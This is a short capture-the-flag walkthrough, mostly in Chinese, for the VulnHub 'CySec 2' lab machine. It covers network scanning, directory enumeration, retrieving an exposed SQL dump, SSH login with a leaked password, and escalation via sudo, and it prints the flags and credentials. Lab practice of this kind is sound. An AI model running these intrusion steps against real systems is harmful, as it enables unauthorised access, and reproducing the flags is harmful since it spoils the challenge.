https://www.vulnhub.com/entry/cysec-2,532/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

the target is 192.168.61.149
ports: 22, 80, 3306

看過 web ui 上沒有什麼有用的資訊
看看 page source，找到一條東西

curl 192.168.61.149

試試base64，結果就有了

先處理 first flag:

先看看 /challenge/index.php
沒什麼東西

page source 也沒有

掃 /challenge

dirsearch -u http://192.168.61.149/challenge

有個 /challenge/db 看看

取下 security_challenge.sql，看到 flag1

flag 1: 95728ce2159815f2e2a253c664b2493f

再來是 flag2, 他說用這組 alex:orJ

先看看 /Exolit/index.php
是一個 BoZoN page

掃 /Exolit 直接掃到 flag.txt

dirsearch -u http://192.168.61.149/Exolit

取到 flag

curl 192.168.61.149/Exolit/flag.txt

flag 2: 60b40b7846a7afe973ce089f19068cffc53e40fe28cd076f937c644f6127aad6

有一組帳號密碼，我們嘗試 ssh

ssh [email protected]

$^WAhuy457i6kj

發現可以直接 sudo su

直接取 flag

flag: %#hYU5QU^JHQWi765W&WSaUYH%4etI^u